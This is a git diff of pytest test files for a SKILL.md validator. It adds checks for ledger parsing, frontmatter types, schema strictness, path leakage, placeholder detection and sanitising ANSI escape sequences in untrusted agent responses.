7b2949d..862163e 100644 --- a/tests/test_history_io.py +++ b/tests/test_history_io.py @@ -113,6 +113,29 @@ def test_load_from_fixture_malformed_raises(): load_ledger(lp) +_HISTORY_FIXTURES = Path(__file__).parent / "fixtures" / "history" + + +def test_load_raises_when_root_is_not_object(): + with pytest.raises(LedgerError, match="must be a JSON object, got list"): + load_ledger(_HISTORY_FIXTURES / "ledger_root_list.json") + + +def test_load_raises_when_runs_is_not_a_list(): + with pytest.raises(LedgerError, match="field 'runs' must be a list, got str"): + load_ledger(_HISTORY_FIXTURES / "ledger_runs_not_list.json") + + +def test_load_raises_on_schema_version_mismatch(): + with pytest.raises(LedgerError, match="schema version 999, but this skillcheck expects version 1"): + load_ledger(_HISTORY_FIXTURES / "ledger_bad_version.json") + + +def test_load_raises_on_malformed_run_entry(): + with pytest.raises(LedgerError, match="malformed run entry"): + load_ledger(_HISTORY_FIXTURES / "ledger_malformed_entry.json") + + # --------------------------------------------------------------------------- # save_ledger (atomic write) # --------------------------------------------------------------------------- @@ -132,6 +155,18 @@ def test_save_writes_valid_json(tmp_path: Path): assert len(data["runs"]) == 1 +def test_load_sweeps_stale_tmp_files(tmp_path: Path): + """A leftover .skillcheck-tmp-* from an interrupted write is removed on load.""" + lp = tmp_path / ".skillcheck-history.json" + save_ledger(lp, Ledger(version=1, skill_path="SKILL.md", runs=())) + orphan = tmp_path / ".skillcheck-tmp-orphan" + orphan.write_text("partial write", encoding="utf-8") + load_ledger(lp) + assert not orphan.exists() + # The real ledger is untouched. + assert load_ledger(lp) is not None + + @pytest.mark.skipif(sys.platform == "win32", reason="chmod restrictions differ on Windows") def test_save_atomic_original_intact_on_failure(tmp_path: Path): """Original ledger survives a failed write (read-only directory).""" diff --git a/tests/test_ingest_sanitization.py b/tests/test_ingest_sanitization.py new file mode 100644 index 0000000..1e779f9 --- /dev/null +++ b/tests/test_ingest_sanitization.py @@ -0,0 +1,70 @@ +"""Terminal-escape sanitization for untrusted ingested agent responses. + +A critique or graph response can carry raw ANSI escape sequences that, printed +straight to a terminal, forge output (a fake PASS line, a cleared screen). The +sanitizer escapes control characters to a visible, inert form before they reach +the report. The JSON output path is unaffected: json.dumps already escapes +control characters. +""" + +from __future__ import annotations + +from skillcheck.agents._ingest import sanitize_ingested_text +from skillcheck.core.graph import Capability, CapabilityGraph +from skillcheck.core.graph_render import render_graph_json, render_graph_text +from skillcheck.core.semantic import ingest_critique_response +from skillcheck.parser import parse +from tests.conftest import FIXTURES_DIR + +_ESC = chr(27) +_ANSI_RESPONSE = FIXTURES_DIR / "critique" / "response_ansi_injection.json" + + +def test_sanitize_escapes_ansi_escape_char() -> None: + out = sanitize_ingested_text(f"{_ESC}[32mgreen{_ESC}[0m") + assert _ESC not in out + assert out == r"\x1b[32mgreen\x1b[0m" + + +def test_sanitize_escapes_newlines_and_tabs() -> None: + out = sanitize_ingested_text("line1\nline2\tend") + assert "\n" not in out + assert "\t" not in out + assert out == r"line1\nline2\tend" + + +def test_sanitize_leaves_normal_text_unchanged() -> None: + text = "Validates SKILL.md files against the spec (v1.4)." + assert sanitize_ingested_text(text) == text + + +def test_ingested_critique_message_has_no_control_chars() -> None: + skill = parse(FIXTURES_DIR / "valid_basic.md") + diagnostics = ingest_critique_response(skill, _ANSI_RESPONSE.read_text(encoding="utf-8")) + context_diags = [d for d in diagnostics if d.rule == "semantic.context.missing"] + assert context_diags, "expected a semantic.context.missing diagnostic" + message = context_diags[0].message + assert _ESC not in message + assert not any(ord(ch) < 0x20 for ch in message) + assert "fake PASS" in message # content preserved, just inert + + +def _graph_with_hostile_name() -> CapabilityGraph: + cap = Capability(id="a1", name=f"{_ESC}[2Kfake PASS", description="", line=1) + return CapabilityGraph( + capabilities=(cap,), inputs=(), outputs=(), edges=(), source="agent" + ) + + +def test_graph_text_render_escapes_node_names() -> None: + rendered = render_graph_text(_graph_with_hostile_name()) + assert _ESC not in rendered + assert r"\x1b[2Kfake PASS" in rendered + + +def test_graph_json_render_stays_safe_and_raw() -> None: + # json.dumps escapes the control char to ; no raw ESC leaks, and the + # sanitizer is not applied a second time on the JSON path. + rendered = render_graph_json(_graph_with_hostile_name()) + assert _ESC not in rendered + assert "\\u001b" in rendered diff --git a/tests/test_parser.py b/tests/test_parser.py index 35d6ea9..635eb68 100644 --- a/tests/test_parser.py +++ b/tests/test_parser.py @@ -69,3 +69,27 @@ def test_handles_bom_prefixed_file(tmp_path): skill_file.write_bytes(content.encode("utf-8")) skill = parse(skill_file) assert skill.frontmatter["name"] == "bom-skill" + + +def test_rejects_string_frontmatter(): + with pytest.raises(ParseError, match="must be a YAML mapping, got str"): + parse(FIXTURES_DIR / "bad_frontmatter_string.md") + + +def test_rejects_list_frontmatter(): + with pytest.raises(ParseError, match="must be a YAML mapping, got list"): + parse(FIXTURES_DIR / "bad_frontmatter_list.md") + + +def test_rejects_int_frontmatter(): + with pytest.raises(ParseError, match="must be a YAML mapping, got int"): + parse(FIXTURES_DIR / "bad_frontmatter_int.md") + + +def test_empty_frontmatter_is_recognized(tmp_path): + skill_file = tmp_path / "SKILL.md" + skill_file.write_text("---\n---\nBody line one.\n", encoding="utf-8") + skill = parse(skill_file) + assert skill.frontmatter == {} + assert not skill.body.startswith("---") + assert skill.body_lines == 1 diff --git a/tests/test_published_schemas.py b/tests/test_published_schemas.py index 14e646e..aded2b4 100644 --- a/tests/test_published_schemas.py +++ b/tests/test_published_schemas.py @@ -30,6 +30,20 @@ def _load(name: str) -> dict: return json.loads(Path(path).read_text(encoding="utf-8")) +def _object_subschemas(node: object) -> list[dict]: + """Return every subschema in *node* that declares ``"type": "object"``.""" + found: list[dict] = [] + if isinstance(node, dict): + if node.get("type") == "object": + found.append(node) + for value in node.values(): + found.extend(_object_subschemas(value)) + elif isinstance(node, list): + for item in node: + found.extend(_object_subschemas(item)) + return found + + def test_schemas_are_valid_json() -> None: """Both schemas parse as JSON and declare the 2020-12 dialect.""" for name in SCHEMAS: @@ -99,6 +113,30 @@ def test_graph_schema_kind_enums_match_parser() -> None: ) +def test_critique_schema_forbids_additional_properties() -> None: + """Every object in critique-v1.json forbids extra properties, matching the + parser, which rejects unexpected fields at every level.""" + objects = _object_subschemas(_load("critique-v1")) + assert objects, "expected at least one object subschema" + for obj in objects: + assert obj.get("additionalProperties") is False, ( + f"object subschema missing 'additionalProperties: false': " + f"{sorted(obj.get('properties', {}))}" + ) + + +def test_graph_schema_forbids_additional_properties() -> None: + """Every object in graph-v1.json forbids extra properties, matching the + parser's unknown-field rejection at each node level.""" + objects = _object_subschemas(_load("graph-v1")) + assert objects, "expected at least one object subschema" + for obj in objects: + assert obj.get("additionalProperties") is False, ( + f"object subschema missing 'additionalProperties: false': " + f"{sorted(obj.get('properties', {}))}" + ) + + def test_schemas_validate_known_good_fixtures() -> None: """Each schema's known-good fixture loads cleanly and satisfies the required-field check (used as a low-rigor self-test that the schema diff --git a/tests/test_references.py b/tests/test_references.py index a988a3c..393db78 100644 --- a/tests/test_references.py +++ b/tests/test_references.py @@ -135,6 +135,9 @@ def test_broken_ref_detected(tmp_path): assert diagnostics[0].rule == "references.broken-link" assert diagnostics[0].severity == Severity.ERROR assert "does-not-exist.txt" in diagnostics[0].message + # Context is relative to the skill dir; the absolute host path never leaks. + assert diagnostics[0].context == "resolved to: does-not-exist.txt" + assert str(tmp_path) not in (diagnostics[0].context or "") def test_valid_ref_passes(tmp_path): diff --git a/tests/test_semantic_bridge.py b/tests/test_semantic_bridge.py index dae1870..08cd643 100644 --- a/tests/test_semantic_bridge.py +++ b/tests/test_semantic_bridge.py @@ -10,7 +10,7 @@ WARNING_THRESHOLD, _find_section_line, ingest_critique_response, - merge_critique_diagnostics, + merge_diagnostics, render_critique_prompt, ) from skillcheck.parser import parse as parse_skill @@ -269,7 +269,7 @@ def test_finding_with_unknown_section_has_no_line() -> None: # --------------------------------------------------------------------------- -# merge_critique_diagnostics +# merge_diagnostics # --------------------------------------------------------------------------- @@ -281,14 +281,14 @@ def test_merge_errors_only_critique_on_passing_symbolic_yields_invalid() -> None "nature": "Conflict.", }] critique_diags = ingest_critique_response(_valid_skill(), _make_raw(contradictions=contradiction)) - merged = merge_critique_diagnostics(result, critique_diags) + merged = merge_diagnostics(result, critique_diags) assert not merged.valid def test_merge_warnings_only_critique_on_passing_symbolic_stays_valid() -> None: result = _empty_result() critique_diags = ingest_critique_response(_valid_skill(), _make_raw(missing_context=["auth token"])) - merged = merge_critique_diagnostics(result, critique_diags) + merged = merge_diagnostics(result, critique_diags) assert merged.valid @@ -296,20 +296,20 @@ def test_merge_combines_all_diagnostics() -> None: base_diag = Diagnostic(rule="some.rule", severity=Severity.WARNING, message="symbolic warning") result = ValidationResult(path=FIXTURES_DIR / "valid_full.md", diagnostics=[base_diag]) critique_diags = ingest_critique_response(_valid_skill(), _make_raw(missing_context=["x"])) - merged = merge_critique_diagnostics(result, critique_diags) + merged = merge_diagnostics(result, critique_diags) assert len(merged.diagnostics) == len(critique_diags) + 1 def test_merge_does_not_mutate_original() -> None: result = _empty_result() critique_diags = ingest_critique_response(_valid_skill(), _make_raw(missing_context=["y"])) - _ = merge_critique_diagnostics(result, critique_diags) + _ = merge_diagnostics(result, critique_diags) assert result.diagnostics == [] def test_merge_preserves_path() -> None: result = _empty_result() - merged = merge_critique_diagnostics(result, []) + merged = merge_diagnostics(result, []) assert merged.path == result.path diff --git a/tests/test_template_detection.py b/tests/test_template_detection.py new file mode 100644 index 0000000..71efd23 --- /dev/null +++ b/tests/test_template_detection.py @@ -0,0 +1,24 @@ +"""Direct coverage for is_template placeholder pattern matching. + +The `[...]` branch of the bracketed-placeholder pattern was unescaped, so the +three dots matched any three characters. Bracketed acronyms like [ISO], [API], +and [CLI] in a real skill's description were misread as placeholders, which +silently suppressed deployment-blocking ERROR checks (directory-name match, +VS Code dirname, description scoring). +""" + +from skillcheck.parser import parse +from skillcheck.template_detection import is_template +from tests.conftest import FIXTURES_DIR + + +def test_bracketed_acronyms_are_not_template(): + """[ISO]/[API]/[CLI] in a description must not read as placeholders.""" + skill = parse(FIXTURES_DIR / "non_template_bracket_acronym.md") + assert is_template(skill) is False + + +def test_literal_ellipsis_placeholder_is_template(): + """A literal [...] placeholder must still be detected as a template.""" + skill = parse(FIXTURES_DIR / "template_bracket_placeholder.md") + assert is_template(skill) is True diff --git a/tests/test_v1_architecture.py b/tests/test_v1_architecture.py index ec74849..fe64144 100644 --- a/tests/test_v1_architecture.py +++ b/tests/test_v1_architecture.py @@ -12,7 +12,7 @@ validate, ) from skillcheck.agents.base import SelfCritiquePrompt -from skillcheck.core import graph, history, reporter, semantic, symbolic +from skillcheck.core import graph, history, semantic, symbolic FIXTURES_DIR = Path(__file__).parent / "fixtures" @@ -22,7 +22,6 @@ def test_core_module_surface_imports_cleanly() -> None: assert semantic is not None assert graph is not None assert history is not None - assert reporter is not None def test_semantic_functions_are_callable() -> None: @@ -34,8 +33,8 @@ def test_semantic_functions_are_callable() -> None: assert callable(getattr(semantic, "ingest_critique_response", None)), ( "semantic.ingest_critique_response must exist" ) - assert callable(getattr(semantic, "merge_critique_diagnostics", None)), ( - "semantic.merge_critique_diagnostics must exist" + assert callable(getattr(semantic, "merge_diagnostics", None)), ( + "semantic.merge_diagnostics must exist" ) @@ -63,68 +62,6 @@ def test_history_module_is_implemented() -> None: ) -def test_reporter_functions_return_correct_types() -> None: - result = ValidationResult(path=FIXTURES_DIR / "valid_basic.md", diagnostics=[]) - - md = reporter.render_markdown_report(result) - assert isinstance(md, str) - assert "PASS" in md - assert "valid_basic.md" in md - - payload = reporter.render_json_report(result) - assert isinstance(payload, dict) - assert payload["valid"] is True - assert payload["error_count"] == 0 - assert payload["diagnostics"] == [] - - -def test_reporter_markdown_fail_path_contains_table_header() -> None: - result = ValidationResult( - path=FIXTURES_DIR / "bad_name_caps.md", - diagnostics=[ - Diagnostic( - rule="frontmatter.name.invalid-chars", - severity=Severity.ERROR, - message="name contains uppercase characters", - line=2, - ), - ], - ) - - md = reporter.render_markdown_report(result) - assert "FAIL" in md - for header in ("Line", "Severity", "Rule", "Message"): - assert header in md - assert "frontmatter.name.invalid-chars" in md - - -def test_reporter_json_counts_mixed_severities() -> None: - result = ValidationResult( - path=FIXTURES_DIR / "valid_basic.md", - diagnostics=[ - Diagnostic(rule="r.error", severity=Severity.ERROR, message="boom"), - Diagnostic(rule="r.warn1", severity=Severity.WARNING, message="meh"), - Diagnostic(rule="r.warn2", severity=Severity.WARNING, message="also meh"), - Diagnostic(rule="r.info", severity=Severity.INFO, message="fyi"), - ], - ) - - payload = reporter.render_json_report(result) - assert payload["error_count"] == 1 - assert payload["warning_count"] == 2 - assert payload["info_count"] == 1 - assert len(payload["diagnostics"]) == 4 - assert payload["valid"] is False - - -def test_reporter_json_path_is_string() -> None: - result = ValidationResult(path=FIXTURES_DIR / "valid_basic.md", diagnostics=[]) - - payload = reporter.render_json_report(result) - assert isinstance(payload["path"], str) - assert payload["path"] == str(result.path) - - def test_agent_base_interface_shape() -> None: # SelfCritiquePrompt is now a concrete class with a render() method. render_sig = inspect.signature(SelfCritiquePrompt.render) diff --git a/tests/test_yaml_anchors.py b/tests/test_yaml_anchors.py index 7409390..e2767b9 100644 --- a/tests/test_yaml_anchors.py +++ b/tests/test_yaml_anchors.py @@ -82,3 +82,18 @@ def test_alias_in_body_not_flagged(tmp_path): skill = parse(f) diagnostics = check_yaml_anchors(skill) assert diagnostics == [] + + +def test_ampersand_and_asterisk_in_quoted_value_not_flagged(tmp_path): + """'&' and '*' inside a quoted scalar are text, not YAML anchors/aliases.""" + content = ( + "---\n" + "name: my-skill\n" + 'description: "Reviews R&D notes and *only* flags risky items for the release."\n' + "---\n" + "Body.\n" + ) + f = tmp_path / "SKILL.md" + f.write_text(content) + skill = parse(f) + assert check_yaml_anchors(skill) == []